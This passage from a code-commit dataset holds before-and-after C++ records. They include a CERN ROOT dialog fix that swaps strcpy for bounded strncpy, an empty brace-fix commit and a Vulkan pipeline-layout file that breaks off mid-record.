outputArray;\n\n\t\tdefault:\n\t\t\tthrow Php::Exception(\"option does not exist\");\n\t}\n}\n\n\nextern \"C\" {\n\n    PHPCPP_EXPORT void *get_module()\n    {\n        \/\/ static(!) Php::Extension object that should stay in memory\n        \/\/ for the entire duration of the process (that's why it's static)\n        static Php::Extension extension(\"diskerror_stem\", \"0.4\");\n\n        extension.add(Php::Constant(\"DISKERROR_STEM_RETURN_ARRAY\", DISKERROR_STEM_RETURN_ARRAY));\n        extension.add(Php::Constant(\"DISKERROR_STEM_RETURN_BIGRAM\", DISKERROR_STEM_RETURN_BIGRAM));\n\n\t\textension.add<stem>( \"Diskerror\\\\stem\", {\n        \tPhp::ByVal(\"subject\", Php::Type::String),\n        \tPhp::ByVal(\"options\", Php::Type::Numeric, false)\n        } );\n\n        \/\/ return the extension\n        return extension;\n    }\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ @(#)root\/gui:$Id$\n\/\/ Author: David Gonzalez Maline  21\/10\/2008\n\n\/*************************************************************************\n * Copyright (C) 1995-2000, Rene Brun and Fons Rademakers.               *\n * All rights reserved.                                                  *\n *                                                                       *\n * For the licensing terms see $ROOTSYS\/LICENSE.                         *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS.             *\n *************************************************************************\/\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/                                                                      \/\/\n\/\/ Tree Input Widget                                                    \/\/\n\/\/                                                                      \/\/\n\/\/ An dialog box that asks the user for the variables and cuts          \/\/\n\/\/ of the selected tree in the fitpanel.                                \/\/\n\/\/                                                                      \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include \"TTreeInput.h\"\n#include \"TGButton.h\"\n#include \"TGLabel.h\"\n#include \"TGTextEntry.h\"\n\nenum ETreeInput {\n   kTI_TEVARS, kTI_TECUTS\n};\n\nClassImp(TTreeInput)\n\n\/\/______________________________________________________________________________\n   TTreeInput::TTreeInput(const TGWindow *p, const TGWindow *main,\n                          char *strvars, char *strcuts):\n      TGTransientFrame(p, main, 10, 10, kVerticalFrame),\n      fStrvars(strvars),\n      fStrcuts(strcuts)\n{\n   \/\/ Create simple input dialog.\n\n   if (!p && !main) {\n      MakeZombie();\n      return;\n   }\n   SetCleanup(kDeepCleanup);\n\n   TGLabel *label = new TGLabel(this, \"Selected Variables: \");\n   AddFrame(label, new TGLayoutHints(kLHintsTop | kLHintsLeft, 5, 5, 5, 0));\n\n   TGTextBuffer *tbuf = new TGTextBuffer(256);  \/\/will be deleted by TGtextEntry\n   fTEVars = new TGTextEntry(this, tbuf, kTI_TEVARS);\n   fTEVars->Resize(260, fTEVars->GetDefaultHeight());\n   AddFrame(fTEVars, new TGLayoutHints(kLHintsTop | kLHintsLeft, 5, 5, 5, 5));\n\n   label = new TGLabel(this, \"Selected Cuts: \");\n   AddFrame(label, new TGLayoutHints(kLHintsTop | kLHintsLeft, 5, 5, 5, 0));\n\n   tbuf = new TGTextBuffer(256);  \/\/will be deleted by TGtextEntry\n   fTECuts = new TGTextEntry(this, tbuf, kTI_TECUTS);\n   fTECuts->Resize(260, fTECuts->GetDefaultHeight());\n   AddFrame(fTECuts, new TGLayoutHints(kLHintsTop | kLHintsLeft, 5, 5, 5, 5));\n\n   \/\/ create frame and layout hints for Ok and Cancel buttons\n   TGHorizontalFrame *hf = new TGHorizontalFrame(this, 60, 20, kFixedWidth);\n   hf->SetCleanup(kDeepCleanup);\n\n   \/\/ create OK and Cancel buttons in their own frame (hf)\n   UInt_t  width = 0, height = 0;\n\n   fOk = new TGTextButton(hf, \"&Ok\", 1);\n   fOk->Associate(this);\n   hf->AddFrame(fOk, new TGLayoutHints(kLHintsCenterY | kLHintsExpandX, 5, 5, 0, 0));\n   height = fOk->GetDefaultHeight();\n   width  = TMath::Max(width, fOk->GetDefaultWidth());\n\n   fCancel = new TGTextButton(hf, \"&Cancel\", 2);\n   fCancel->Associate(this);\n   hf->AddFrame(fCancel, new TGLayoutHints(kLHintsCenterY | kLHintsExpandX, 5, 5, 0, 0));\n   height = fCancel->GetDefaultHeight();\n   width  = TMath::Max(width, fCancel->GetDefaultWidth());\n\n   \/\/ place button frame (hf) at the bottom\n   AddFrame(hf, new TGLayoutHints(kLHintsBottom | kLHintsCenterX, 0, 0, 5, 5));\n\n   \/\/ keep buttons centered and with the same width\n   hf->Resize((width + 20) * 2, height);\n\n   \/\/ set dialog title\n   SetWindowName(\"Get Input\");\n\n   \/\/ map all widgets and calculate size of dialog\n   MapSubwindows();\n\n   width  = GetDefaultWidth();\n   height = GetDefaultHeight();\n\n   Resize(width, height);\n\n   \/\/ position relative to the parent's window\n   CenterOnParent();\n\n   \/\/ make the message box non-resizable\n   SetWMSize(width, height);\n   SetWMSizeHints(width, height, width, height, 0, 0);\n\n   SetMWMHints(kMWMDecorAll | kMWMDecorResizeH  | kMWMDecorMaximize |\n                                       kMWMDecorMinimize | kMWMDecorMenu,\n                        kMWMFuncAll  | kMWMFuncResize    | kMWMFuncMaximize |\n                                       kMWMFuncMinimize,\n                        kMWMInputModeless);\n\n   \/\/ popup dialog and wait till user replies\n   MapWindow();\n   fTEVars->SetFocus();\n\n   gClient->WaitFor(this);\n}\n\n\/\/______________________________________________________________________________\nTTreeInput::~TTreeInput()\n{\n   \/\/ Cleanup dialog.\n\n   Cleanup();\n}\n\n\/\/______________________________________________________________________________\nBool_t TTreeInput::ProcessMessage(Long_t msg, Long_t parm1, Long_t)\n{\n   \/\/ Handle button and text enter events\n\n   switch (GET_MSG(msg)) {\n      case kC_COMMAND:\n         switch (GET_SUBMSG(msg)) {\n            case kCM_BUTTON:\n               switch (parm1) {\n                  case 1:\n                     \/\/ here copy the string from text buffer to return variable\n                     strcpy(fStrvars, fTEVars->GetBuffer()->GetString());\n                     strcpy(fStrcuts, fTECuts->GetBuffer()->GetString());\n                     delete this;\n                     break;\n                  case 2:\n                     fStrvars[0] = 0;\n                     fStrcuts[0] = 0;\n                     delete this;\n                     break;\n               }\n               default:\n                  break;\n         }\n         break;\n\n      case kC_TEXTENTRY:\n         switch (GET_SUBMSG(msg)) {\n            case kTE_ENTER:\n               \/\/ here copy the string from text buffer to return variable\n               strcpy(fStrvars, fTEVars->GetBuffer()->GetString());\n               strcpy(fStrcuts, fTECuts->GetBuffer()->GetString());\n               delete this;\n               break;\n            case kTE_TAB:\n               if ( parm1 == kTI_TEVARS )\n                  fTECuts->SetFocus();\n               else if ( parm1 == kTI_TECUTS )\n                  fTEVars->SetFocus();\n               break;\n            default:\n               break;\n         }\n         break;\n\n      default:\n         break;\n   }\n   return kTRUE;\n}\n<commit_msg>Use strncpy instead of strcpy (coverity)<commit_after>\/\/ @(#)root\/gui:$Id$\n\/\/ Author: David Gonzalez Maline  21\/10\/2008\n\n\/*************************************************************************\n * Copyright (C) 1995-2000, Rene Brun and Fons Rademakers.               *\n * All rights reserved.                                                  *\n *                                                                       *\n * For the licensing terms see $ROOTSYS\/LICENSE.                         *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS.             *\n *************************************************************************\/\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/                                                                      \/\/\n\/\/ Tree Input Widget                                                    \/\/\n\/\/                                                                      \/\/\n\/\/ An dialog box that asks the user for the variables and cuts          \/\/\n\/\/ of the selected tree in the fitpanel.                                \/\/\n\/\/                                                                      \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include \"TTreeInput.h\"\n#include \"TGButton.h\"\n#include \"TGLabel.h\"\n#include \"TGTextEntry.h\"\n\nenum ETreeInput {\n   kTI_TEVARS, kTI_TECUTS\n};\n\nClassImp(TTreeInput)\n\n\/\/______________________________________________________________________________\n   TTreeInput::TTreeInput(const TGWindow *p, const TGWindow *main,\n                          char *strvars, char *strcuts):\n      TGTransientFrame(p, main, 10, 10, kVerticalFrame),\n      fStrvars(strvars),\n      fStrcuts(strcuts)\n{\n   \/\/ Create simple input dialog.\n\n   if (!p && !main) {\n      MakeZombie();\n      return;\n   }\n   SetCleanup(kDeepCleanup);\n\n   TGLabel *label = new TGLabel(this, \"Selected Variables: \");\n   AddFrame(label, new TGLayoutHints(kLHintsTop | kLHintsLeft, 5, 5, 5, 0));\n\n   TGTextBuffer *tbuf = new TGTextBuffer(256);  \/\/will be deleted by TGtextEntry\n   fTEVars = new TGTextEntry(this, tbuf, kTI_TEVARS);\n   fTEVars->Resize(260, fTEVars->GetDefaultHeight());\n   AddFrame(fTEVars, new TGLayoutHints(kLHintsTop | kLHintsLeft, 5, 5, 5, 5));\n\n   label = new TGLabel(this, \"Selected Cuts: \");\n   AddFrame(label, new TGLayoutHints(kLHintsTop | kLHintsLeft, 5, 5, 5, 0));\n\n   tbuf = new TGTextBuffer(256);  \/\/will be deleted by TGtextEntry\n   fTECuts = new TGTextEntry(this, tbuf, kTI_TECUTS);\n   fTECuts->Resize(260, fTECuts->GetDefaultHeight());\n   AddFrame(fTECuts, new TGLayoutHints(kLHintsTop | kLHintsLeft, 5, 5, 5, 5));\n\n   \/\/ create frame and layout hints for Ok and Cancel buttons\n   TGHorizontalFrame *hf = new TGHorizontalFrame(this, 60, 20, kFixedWidth);\n   hf->SetCleanup(kDeepCleanup);\n\n   \/\/ create OK and Cancel buttons in their own frame (hf)\n   UInt_t  width = 0, height = 0;\n\n   fOk = new TGTextButton(hf, \"&Ok\", 1);\n   fOk->Associate(this);\n   hf->AddFrame(fOk, new TGLayoutHints(kLHintsCenterY | kLHintsExpandX, 5, 5, 0, 0));\n   height = fOk->GetDefaultHeight();\n   width  = TMath::Max(width, fOk->GetDefaultWidth());\n\n   fCancel = new TGTextButton(hf, \"&Cancel\", 2);\n   fCancel->Associate(this);\n   hf->AddFrame(fCancel, new TGLayoutHints(kLHintsCenterY | kLHintsExpandX, 5, 5, 0, 0));\n   height = fCancel->GetDefaultHeight();\n   width  = TMath::Max(width, fCancel->GetDefaultWidth());\n\n   \/\/ place button frame (hf) at the bottom\n   AddFrame(hf, new TGLayoutHints(kLHintsBottom | kLHintsCenterX, 0, 0, 5, 5));\n\n   \/\/ keep buttons centered and with the same width\n   hf->Resize((width + 20) * 2, height);\n\n   \/\/ set dialog title\n   SetWindowName(\"Get Input\");\n\n   \/\/ map all widgets and calculate size of dialog\n   MapSubwindows();\n\n   width  = GetDefaultWidth();\n   height = GetDefaultHeight();\n\n   Resize(width, height);\n\n   \/\/ position relative to the parent's window\n   CenterOnParent();\n\n   \/\/ make the message box non-resizable\n   SetWMSize(width, height);\n   SetWMSizeHints(width, height, width, height, 0, 0);\n\n   SetMWMHints(kMWMDecorAll | kMWMDecorResizeH  | kMWMDecorMaximize |\n                                       kMWMDecorMinimize | kMWMDecorMenu,\n                        kMWMFuncAll  | kMWMFuncResize    | kMWMFuncMaximize |\n                                       kMWMFuncMinimize,\n                        kMWMInputModeless);\n\n   \/\/ popup dialog and wait till user replies\n   MapWindow();\n   fTEVars->SetFocus();\n\n   gClient->WaitFor(this);\n}\n\n\/\/______________________________________________________________________________\nTTreeInput::~TTreeInput()\n{\n   \/\/ Cleanup dialog.\n\n   Cleanup();\n}\n\n\/\/______________________________________________________________________________\nBool_t TTreeInput::ProcessMessage(Long_t msg, Long_t parm1, Long_t)\n{\n   \/\/ Handle button and text enter events\n\n   switch (GET_MSG(msg)) {\n      case kC_COMMAND:\n         switch (GET_SUBMSG(msg)) {\n            case kCM_BUTTON:\n               switch (parm1) {\n                  case 1:\n                     \/\/ here copy the string from text buffer to return variable\n                     \/\/ see TFitEditor.cxx for the maximum length:\n                     \/\/ char variables[256] = {0}; char cuts[256] = {0};\n                     strncpy(fStrvars, fTEVars->GetBuffer()->GetString(), 255);\n                     strncpy(fStrcuts, fTECuts->GetBuffer()->GetString(), 255);\n                     delete this;\n                     break;\n                  case 2:\n                     fStrvars[0] = 0;\n                     fStrcuts[0] = 0;\n                     delete this;\n                     break;\n               }\n               default:\n                  break;\n         }\n         break;\n\n      case kC_TEXTENTRY:\n         switch (GET_SUBMSG(msg)) {\n            case kTE_ENTER:\n               \/\/ here copy the string from text buffer to return variable\n               \/\/ see TFitEditor.cxx for the maximum length:\n               \/\/ char variables[256] = {0}; char cuts[256] = {0};\n               strncpy(fStrvars, fTEVars->GetBuffer()->GetString(), 255);\n               strncpy(fStrcuts, fTECuts->GetBuffer()->GetString(), 255);\n               delete this;\n               break;\n            case kTE_TAB:\n               if ( parm1 == kTI_TEVARS )\n                  fTECuts->SetFocus();\n               else if ( parm1 == kTI_TECUTS )\n                  fTEVars->SetFocus();\n               break;\n            default:\n               break;\n         }\n         break;\n\n      default:\n         break;\n   }\n   return kTRUE;\n}\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>Fix missing brace<commit_after><|endoftext|>"}
{"text":"<commit_before>#include <graphics\/pipeline\/layout.h>\r\n#include <core\/video\/context.h>\r\n#include <core\/log\/log.h>\r\n\r\nnamespace fd {\r\nnamespace graphics {\r\nnamespace pipeline {\r\n\r\nusing namespace core;\r\nusing namespace video;\r\nusing namespace utils;\r\nusing namespace log;\r\nusing namespace buffer;\r\nusing namespace texture;\r\n\r\nPipelineLayout::PipelineLayout() : layout(nullptr), descriptorPool(nullptr) {\r\n\r\n}\r\n\r\nPipelineLayout::~PipelineLayout() {\r\n\tfor (uint_t i = 0; i < setLayouts.GetSize(); i++) {\r\n\t\tvkDestroyDescriptorSetLayout(Context::GetDevice(), setLayouts[i], nullptr);\r\n\t}\r\n\r\n\tvkDestroyDescriptorPool(Context::GetDevice(), descriptorPool, nullptr);\r\n\tvkDestroyPipelineLayout(Context::GetDevice(), layout, nullptr);\r\n}\r\n\r\nvoid PipelineLayout::AddSet(List<PipelineLayoutElement>& elements) {\r\n\tVkDescriptorSetLayout setLayout = nullptr;\r\n\r\n\tif (elements.GetSize() == 0) {\r\n\t\tLog::Warning(\"[PipelineLayout] No elements!\");\r\n\t\treturn;\r\n\t}\r\n\r\n\tsetOffsets.Push_back(descriptors.GetSize());\r\n\r\n\tVkDescriptorSetLayoutBinding* bindings = new VkDescriptorSetLayoutBinding[elements.GetSize()];\r\n\r\n\tfor (uint_t i = 0; i < elements.GetSize(); i++) {\r\n\t\tVkDescriptorSetLayoutBinding& b = bindings[i];\r\n\t\tPipelineLayoutElement& e = elements[i];\r\n\r\n\t\tb.pImmutableSamplers = nullptr;\r\n\t\tb.binding = e.binding;\r\n\t\tb.stageFlags = e.shaderAccess;\r\n\t\tb.descriptorType = (VkDescriptorType)e.type;\r\n\t\tb.descriptorCount = e.count;\r\n\r\n\t\tVkDescriptorPoolSize size;\r\n\r\n\t\tsize.descriptorCount = e.count;\r\n\t\tsize.type = b.descriptorType;\r\n\r\n\t\tpoolSizes.Push_back(size);\r\n\r\n\t\tDescriptorBinding binding;\r\n\r\n\t\tbinding.type = e.type;\r\n\t\tbinding.set = setLayouts.GetSize();\r\n\t\tbinding.binding = b.binding;\r\n\t\tbinding.count = e.count;\r\n\t\tbinding.size = e.size;\r\n\t\tbinding.offset = 0;\r\n\t\tbinding.texture = nullptr;\r\n\t\tbinding.sampler = nullptr;\r\n\r\n\t\tdescriptors.Push_back(binding);\r\n\t}\r\n\r\n\tVkDescriptorSetLayoutCreateInfo info;\r\n\r\n\tinfo.sType = VK_STRUCTURE_TYPE_DESCRIPTOR_SET_LAYOUT_CREATE_INFO;\r\n\tinfo.pNext = nullptr;\r\n\tinfo.flags = 0;\r\n\tinfo.bindingCount = elements.GetSize();\r\n\tinfo.pBindings = bindings;\r\n\r\n\tVK(vkCreateDescriptorSetLayout(Context::GetDevice(), &info, nullptr, &setLayout));\r\n\r\n\tsetLayouts.Push_back(setLayout);\r\n\r\n\tdelete[] bindings;\r\n}\r\n\r\nvoid PipelineLayout::CreateLayout() {\r\n\tVkPipelineLayoutCreateInfo info;\r\n\r\n\tinfo.sType = VK_STRUCTURE_TYPE_PIPELINE_LAYOUT_CREATE_INFO;\r\n\tinfo.pNext = nullptr;\r\n\tinfo.flags = 0;\r\n\tinfo.pushConstantRangeCount = 0;\r\n\tinfo.pPushConstantRanges = nullptr;\r\n\tinfo.setLayoutCount = setLayouts.GetSize();\r\n\tinfo.pSetLayouts = setLayouts.GetData();\r\n\r\n\tVK(vkCreatePipelineLayout(Context::GetDevice(), &info, nullptr, &layout));\r\n\r\n\tVkDescriptorPoolCreateInfo poolInfo;\r\n\r\n\tpoolInfo.sType = VK_STRUCTURE_TYPE_DESCRIPTOR_POOL_CREATE_INFO;\r\n\tpoolInfo.pNext = nullptr;\r\n\tpoolInfo.flags = 0;\r\n\tpoolInfo.maxSets = setLayouts.GetSize();\r\n\tpoolInfo.poolSizeCount = poolSizes.GetSize();\r\n\tpoolInfo.pPoolSizes = poolSizes.GetData();\r\n\r\n\tVK(vkCreateDescriptorPool(Context::GetDevice(), &poolInfo, nullptr, &descriptorPool));\r\n\r\n\tVkDescriptorSetAllocateInfo allocInfo;\r\n\r\n\tallocInfo.sType = VK_STRUCTURE_TYPE_DESCRIPTOR_SET_ALLOCATE_INFO;\r\n\tallocInfo.pNext = nullptr;\r\n\tallocInfo.descriptorPool = descriptorPool;\r\n\tallocInfo.descriptorSetCount = setLayouts.GetSize();\r\n\tallocInfo.pSetLayouts = setLayouts.GetData();\r\n\r\n\tdescriptorSets.Resize(setLayouts.GetSize());\r\n\r\n\tVK(vkAllocateDescriptorSets(Context::GetDevice(), &allocInfo, descriptorSets.GetData()));\r\n\r\n\tuint32 minOffset = Context::GetAdapter()->GetDeviceLimits().minUniformBufferOffsetAlignment;\r\n\tuint32 bufferSize = 0;\r\n\r\n\tfor (uint_t i = 0; i< descriptors.GetSize(); i++) {\r\n\t\tDescriptorBinding& b = descriptors[i];\r\n\r\n\t\tif (b.type == DescriptorType::Uniform) {\r\n\t\t\tb.offset = bufferSize;\r\n\t\t\tbufferSize += b.size >= minOffset ? b.size : minOffset;\r\n\t\t}\r\n\t}\r\n\r\n\tuniformBuffer = new UniformBuffer(nullptr, bufferSize);\r\n\r\n\tList<VkWriteDescriptorSet> winfo;\r\n\r\n\tVkDescriptorBufferInfo binfo[1024];\r\n\r\n\tfor (uint_t i = 0; i < descriptors.GetSize(); i++) {\r\n\t\tDescriptorBinding& b = descriptors[i];\r\n\r\n\t\tif (b.type == DescriptorType::Uniform) {\r\n\t\t\tVkWriteDescriptorSet info;\r\n\r\n\t\t\tinfo.sType = VK_STRUCTURE_TYPE_WRITE_DESCRIPTOR_SET;\r\n\t\t\tinfo.pNext = nullptr;\r\n\t\t\tinfo.dstSet = descriptorSets[b.set];\r\n\t\t\tinfo.dstBinding = b.binding;\r\n\t\t\tinfo.descriptorType = (VkDescriptorType)b.type;\r\n\t\t\tinfo.descriptorCount = 1;\r\n\t\t\tinfo.dstArrayElement = 0;\r\n\t\t\tinfo.pTexelBufferView = nullptr;\r\n\t\t\tinfo.pImageInfo = nullptr;\r\n\t\t\tinfo.pBufferInfo = binfo + i;\r\n\r\n\t\t\tbinfo[i].buffer = uniformBuffer->GetBuffer();\r\n\t\t\tbinfo[i].offset = b.offset;\r\n\t\t\tbinfo[i].range = b.size;\r\n\r\n\t\t\twinfo.Push_back(info);\r\n\t\t}\r\n\t}\r\n\r\n\tvkUpdateDescriptorSets(Context::GetDevice(), winfo.GetSize(), winfo.GetData(), 0, nullptr);\r\n}\r\n\r\nvoid PipelineLayout::UpdateUniform(uint32 set, uint32 binding, const void* const data, uint_t size, uint_t offset) {\r\n\tDescriptorBinding& b = descriptors[setOffsets[set] + binding];\r\n\r\n\tif (b.type != DescriptorType::Uniform) {\r\n\t\tLog::Fatal(\"[PipelineLayout] binding %u in set %u is not a uniform!\", binding, set);\r\n\t\treturn;\r\n\t}\r\n\r\n\tvoid* bufferData = uniformBuffer->Map(b.offset + offset, size);\r\n\tFD_ASSERT(bufferData != nullptr);\r\n\tmemcpy(bufferData, data, size);\r\n\tuniformBuffer->Unmap();\r\n}\r\n\r\nvoid PipelineLayout::SetTexture(uint32 set, uint32 slots, Texture* texture, Sampler* sampler) {\r\n\tSetTexture(set, &slots, 1, texture, sampler);\r\n}\r\n\r\nvoid PipelineLayout::SetTexture(uint32 set, uint32* slots, uint32 num, Texture* textures, Sampler* samplers) {\r\n\tVkWriteDescriptorSet* winfo = new VkWriteDescriptorSet[num];\r\n\r\n\tVkDescriptorImageInfo* iinfo = new VkDescriptorImageInfo[num];\r\n\r\n\tfor (uint32 i = 0; i < num; i++) {\r\n\t\tuint32 slot = slots[i];\r\n\t\tDescriptorBinding& binding = descriptors[setOffsets[set] + slot];\r\n\r\n\t\tif (binding.type != DescriptorType::TextureSampler && binding.type != DescriptorType::InputAttachment) {\r\n\t\t\tLog::Fatal(\"[PipelineLayout] binding %u in set %u is not a \\\"TextureSampler\\\" or \\\"InputAttachment\\\"\", slot, set);\r\n\t\t\tbreak;\r\n\t\t}\r\n\r\n\t\twinfo[i].sType = VK_STRUCTURE_TYPE_WRITE_DESCRIPTOR_SET;\r\n\t\twinfo[i].pNext = nullptr;\r\n\t\twinfo[i].descriptorType = (VkDescriptorType)binding.type;\r\n\t\twinfo[i].dstSet = descriptorSets[set];\r\n\t\twinfo[i].dstBinding = slot;\r\n\t\twinfo[i].dstArrayElement = 0;\r\n\t\twinfo[i].descriptorCount = 1;\r\n\t\twinfo[i].pBufferInfo = nullptr;\r\n\t\twinfo[i].pTexelBufferView = nullptr;\r\n\r\n\t\twinfo[i].pImageInfo = iinfo + i;\r\n\r\n\t\tiinfo[i].imageLayout = VK_IMAGE_LAYOUT_SHADER_READ_ONLY_OPTIMAL;\r\n\t\tiinfo[i].imageView = textures[i].GetImageView();\r\n\t\tbinding.texture = textures + i;\r\n\r\n\t\tif (binding.type != DescriptorType::TextureSampler) {\r\n\t\t\tiinfo[i].sampler = samplers[i].GetSampler();\r\n\t\t\tbinding.sampler = samplers + i;\r\n\t\t}\r\n\t}\r\n\r\n\tvkUpdateDescriptorSets(Context::GetDevice(), num, winfo, 0, 0);\r\n}\r\n\r\nvoid PipelineLayout::SetTexture(uint32 set, uint32 slot, VkImageView view) {\r\n\tSetTexture(set, &slot, 1, &view);\r\n}\r\n\r\nvoid PipelineLayout::SetTexture(uint32 set, uint32* slots, uint32 num, VkImageView* views) {\r\n\tVkWriteDescriptorSet* winfo = new VkWriteDescriptorSet[num];\r\n\r\n\tVkDescriptorImageInfo* iinfo = new VkDescriptorImageInfo[num];\r\n\r\n\tfor (uint32 i = 0; i < num; i++) {\r\n\t\tuint32 slot = slots[i];\r\n\t\tDescriptorBinding& binding = descriptors[setOffsets[set] + slot];\r\n\r\n\t\tif (binding.type != DescriptorType::TextureSampler && binding.type != DescriptorType::InputAttachment) {\r\n\t\t\tLog::Fatal(\"[PipelineLayout] binding %u in set %u is not a \\\"TextureSampler\\\" or \\\"InputAttachment\\\"\", slot, set);\r\n\t\t\tbreak;\r\n\t\t}\r\n\r\n\t\twinfo[i].sType = VK_STRUCTURE_TYPE_WRITE_DESCRIPTOR_SET;\r\n\t\twinfo[i].pNext = nullptr;\r\n\t\twinfo[i].descriptorType = (VkDescriptorType)binding.type;\r\n\t\twinfo[i].dstSet = descriptorSets[set];\r\n\t\twinfo[i].dstBinding = slot;\r\n\t\twinfo[i].dstArrayElement = 0;\r\n\t\twinfo[i].descriptorCount = 1;\r\n\t\twinfo[i].pBufferInfo = nullptr;\r\n\t\twinfo[i].pTexelBufferView = nullptr;\r\n\r\n\t\twinfo[i].pImageInfo = iinfo + i;\r\n\r\n\t\tiinfo[i].imageLayout = VK_IMAGE_LAYOUT_SHADER_READ_ONLY_OPTIMAL;\r\n\t\tiinfo[i].imageView = views[i];\r\n\t\tiinfo[i].sampler = nullptr;\r\n\r\n\t\tbinding.texture = nullptr;\r\n\t\tbinding.sampler = nullptr;\r\n\t}\r\n\r\n\tvkUpdateDescriptorSets(Context::GetDevice(), num, winfo, 0, 0);\r\n}\r\n\r\n}\r\n}\r\n}<commit_msg>VK: Fixed another typo<commit_after>#include <graphics\/pipeline\/layout.h>\r\n#include <core\/video\/context.h>\r\n#include <core\/log\/log.h>\r\n\r\nnamespace fd {\r\nnamespace graphics {\r\nnamespace pipeline {\r\n\r\nusing namespace core;\r\nusing namespace video;\r\nusing namespace utils;\r\nusing namespace log;\r\nusing namespace buffer;\r\nusing namespace texture;\r\n\r\nPipelineLayout::PipelineLayout() : layout(nullptr), descriptorPool(nullptr) {\r\n\r\n}\r\n\r\nPipelineLayout::~PipelineLayout() {\r\n\tfor (uint_t i = 0; i < setLayouts.GetSize(); i++) {\r\n\t\tvkDestroyDescriptorSetLayout(Context::GetDevice(), setLayouts[i], nullptr);\r\n\t}\r\n\r\n\tvkDestroyDescriptorPool(Context::GetDevice(), descriptorPool, nullptr);\r\n\tvkDestroyPipelineLayout(Context::GetDevice(), layout, nullptr);\r\n}\r\n\r\nvoid PipelineLayout::AddSet(List<PipelineLayoutElement>& elements) {\r\n\tVkDescriptorSetLayout setLayout = nullptr;\r\n\r\n\tif (elements.GetSize() == 0) {\r\n\t\tLog::Warning(\"[PipelineLayout] No elements!\");\r\n\t\treturn;\r\n\t}\r\n\r\n\tsetOffsets.Push_back(descriptors.GetSize());\r\n\r\n\tVkDescriptorSetLayoutBinding* bindings = new VkDescriptorSetLayoutBinding[elements.GetSize()];\r\n\r\n\tfor (uint_t i = 0; i < elements.GetSize(); i++) {\r\n\t\tVkDescriptorSetLayoutBinding& b = bindings[i];\r\n\t\tPipelineLayoutElement& e = elements[i];\r\n\r\n\t\tb.pImmutableSamplers = nullptr;\r\n\t\tb.binding = e.binding;\r\n\t\tb.stageFlags = e.shaderAccess;\r\n\t\tb.descriptorType = (VkDescriptorType)e.type;\r\n\t\tb.descriptorCount = e.count;\r\n\r\n\t\tVkDescriptorPoolSize size;\r\n\r\n\t\tsize.descriptorCount = e.count;\r\n\t\tsize.type = b.descriptorType;\r\n\r\n\t\tpoolSizes.Push_back(size);\r\n\r\n\t\tDescriptorBinding binding;\r\n\r\n\t\tbinding.type = e.type;\r\n\t\tbinding.set = setLayouts.GetSize();\r\n\t\tbinding.binding = b.binding;\r\n\t\tbinding.count = e.count;\r\n\t\tbinding.size = e.size;\r\n\t\tbinding.offset = 0;\r\n\t\tbinding.texture = nullptr;\r\n\t\tbinding.sampler = nullptr;\r\n\r\n\t\tdescriptors.Push_back(binding);\r\n\t}\r\n\r\n\tVkDescriptorSetLayoutCreateInfo info;\r\n\r\n\tinfo.sType = VK_STRUCTURE_TYPE_DESCRIPTOR_SET_LAYOUT_CREATE_INFO;\r\n\tinfo.pNext = nullptr;\r\n\tinfo.flags = 0;\r\n\tinfo.bindingCount = elements.GetSize();\r\n\tinfo.pBindings = bindings;\r\n\r\n\tVK(vkCreateDescriptorSetLayout(Context::GetDevice(), &info, nullptr, &setLayout));\r\n\r\n\tsetLayouts.Push_back(setLayout);\r\n\r\n\tdelete[] bindings;\r\n}\r\n\r\nvoid PipelineLayout::CreateLayout() {\r\n\tVkPipelineLayoutCreateInfo info;\r\n\r\n\tinfo.sType = VK_STRUCTURE_TYPE_PIPELINE_LAYOUT_CREATE_INFO;\r\n\tinfo.pNext = nullptr;\r\n\tinfo.flags = 0;\r\n\tinfo.pushConstantRangeCount = 0;\r\n\tinfo.pPushConstantRanges = nullptr;\r\n\tinfo.setLayoutCount = setLayouts.GetSize();\r\n\tinfo.pSetLayouts = setLayouts.GetData();\r\n\r\n\tVK(vkCreatePipelineLayout(Context::GetDevice(), &info, nullptr, &layout));\r\n\r\n\tVkDescriptorPoolCreateInfo poolInfo;\r\n\r\n\tpoolInfo.sType = VK_STRUCTURE_TYPE_DESCRIPTOR_POOL_CREATE_INFO;\r\n\tpoolInfo.pNext = nullptr;\r\n\tpoolInfo.flags = 0;\r\n\tpoolInfo.maxSets = setLayouts.GetSize();\r\n\tpoolInfo.poolSizeCount = poolSizes.GetSize();\r\n\tpoolInfo.pPoolSizes = poolSizes.GetData();\r\n\r\n\tVK(vkCreateDescriptorPool(Context::GetDevice(), &poolInfo, nullptr, &descriptorPool));\r\n\r\n\tVkDescriptorSetAllocateInfo allocInfo;\r\n\r\n\tallocInfo.sType = VK_STRUCTURE_TYPE_DESCRIPTOR_SET_ALLOCATE_INFO;\r\n\tallocInfo.pNext = nullptr;\r\n\tallocInfo.descriptorPool = descriptorPool;\r\n\tallocInfo.descriptorSetCount = setLayouts.GetSize();\r\n\tallocInfo.pSetLayouts = setLayouts.GetData();\r\n\r\n\tdescriptorSets.Resize(setLayouts.GetSize());\r\n\r\n\tVK(vkAllocateDescriptorSets(Context::GetDevice(), &allocInfo, descriptorSets.GetData()));\r\n\r\n\tuint32 minOffset = Context::GetAdapter()->GetDeviceLimits().minUniformBufferOffsetAlignment;\r\n\tuint32 bufferSize = 0;\r\n\r\n\tfor (uint_t i 